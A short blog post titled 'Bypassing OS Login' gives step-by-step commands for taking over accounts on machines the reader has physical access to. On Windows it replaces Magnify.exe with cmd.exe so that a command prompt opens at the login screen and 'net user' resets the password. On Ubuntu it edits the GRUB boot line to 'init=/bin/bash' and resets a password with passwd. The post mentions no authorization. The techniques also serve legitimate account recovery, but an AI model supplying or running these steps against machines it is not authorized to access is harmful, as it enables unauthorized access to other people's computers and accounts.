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Bypassing OS Login

  • Writer: Vlad B
    Vlad B
  • Jan 16, 2018
  • 1 min read

Windows:

Boot to either Linux off of a USB or to recovery windows CD and open cmd.

Rename: "C:\Windows\System32\Magnify.exe" to "C:\Windows\System32\Magnify.old"

Rename: "C:\Windows\System32\cmd.exe" to "C:\Windows\System32\Magnify.exe"

Reboot then at


login page click "Ease of Access" button

cmd.exe will open enter: net user <username> <password>

Close cmd and login using the new password you typed here ^^^


Linux (Ubuntu):

Turn machine on and at the "GRUB" menu press "e" and scroll down to a line that says:

<some numbers & letters> ro quiet splash $vt_handoff

Change it to:

<some numbers & letters> rw init=/bin/bash

Press F10 to boot and at root prompt enter:

passwd <username>

Enter new unix password: <password>

Retype new unix password: <password>

"passwd: password updated successfully"


Reboot and LOGIN.


 
 
 

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I'm an IT professional in Networking & Security. I'm interested in Systems Administration, specifically PowerShell and BASH scripting. I love thinking critically and looking for new ways to do things.

 

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